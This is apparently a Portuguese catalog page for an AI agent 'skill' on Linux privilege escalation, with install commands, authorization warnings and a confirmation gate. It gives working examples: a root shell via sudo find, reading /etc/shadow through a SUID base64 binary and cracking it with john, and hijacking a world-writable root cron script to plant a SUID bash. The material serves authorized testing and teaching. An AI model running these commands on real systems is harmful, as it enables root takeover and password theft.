linux-privilege-escalation
Ajuda seu agente a encontrar falhas de segurança em sistemas Linux. Ele procura por jeitos de ganhar mais permissões no sistema. Isso é útil para testar a segurança.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança em sistemas Linux para obter acesso de administrador (root). É como um detetive que procura por portas destrancadas ou janelas abertas no sistema.
Quando usar
- ✓Para testar a segurança de um sistema Linux com permissão.
- ✓Para aprender sobre como sistemas Linux podem ser protegidos.
- ✓Em ambientes de laboratório controlados para fins educacionais.
Exemplo do que pedir para a IA
“Quero verificar se o sistema Linux que me pertence pode ter suas permissões elevadas para root.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta analisa o sistema em busca de configurações incorretas ou programas vulneráveis que permitam que um usuário comum ganhe privilégios de administrador. Ela pode tentar explorar essas falhas para demonstrar o risco.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill linux-privilege-escalationOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/linux-privilege-escalation/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.
Escalação de Privilégios no Linux
Guia Detalhado
Leia o guia detalhado antes de executar esta habilidade. Ele contém o procedimento completo e o material de referência. Trate seus requisitos de segurança, pré-requisitos e validação como obrigatórios. Para trabalho focado, carregue as seções relevantes; para trabalho de ponta a ponta, leia o guia completamente.
Restrições e Salvaguardas
Limites Operacionais
- Verifique exploits de kernel em ambiente de teste antes do uso em produção
- Exploits de kernel falhos podem travar o sistema
- Documente todas as alterações feitas durante a escalação de privilégios
- Mantenha a persistência de acesso apenas conforme autorizado
Limitações Técnicas
- Kernels modernos podem ter mitigações contra exploits (ASLR, SMEP, SMAP)
- AppArmor/SELinux podem restringir técnicas de exploração
- Ambientes de contêiner limitam exploits em nível de kernel
- Sistemas endurecidos podem ter configurações de sudo restritas
Requisitos Legais e Éticos
- Autorização por escrito necessária antes do teste
- Permaneça dentro dos limites de escopo definidos
- Relate descobertas críticas imediatamente
- Não acesse dados além dos requisitos de escopo
Exemplos
Exemplo 1: Sudo para Root via find
Cenário: O usuário tem direitos sudo para o comando find
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
Exemplo 2: SUID base64 para Acesso ao Shadow
Cenário: O binário base64 tem o bit SUID definido
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
Exemplo 3: Sequestro de Script de Cron Job
Cenário: O cron job do root executa um script gravável
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh
$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
Quando Usar
Esta habilidade é aplicável para executar o fluxo de trabalho ou as ações descritas na visão geral.
Perguntas frequentes
Preciso de permissão para usar esta ferramenta?
Sim, você precisa de permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. Usá-la sem permissão é ilegal.
O que é 'escalada de privilégios'?
É o processo de obter acesso a um sistema com mais permissões do que você inicialmente tinha, como passar de um usuário comum para um administrador (root).
Esta ferramenta pode danificar meu sistema?
Sim, especialmente ao tentar explorar falhas no kernel. É recomendado usar em ambientes de teste ou laboratório e sempre documentar as mudanças.
Detalhes
Descrição original do autor
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3458
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC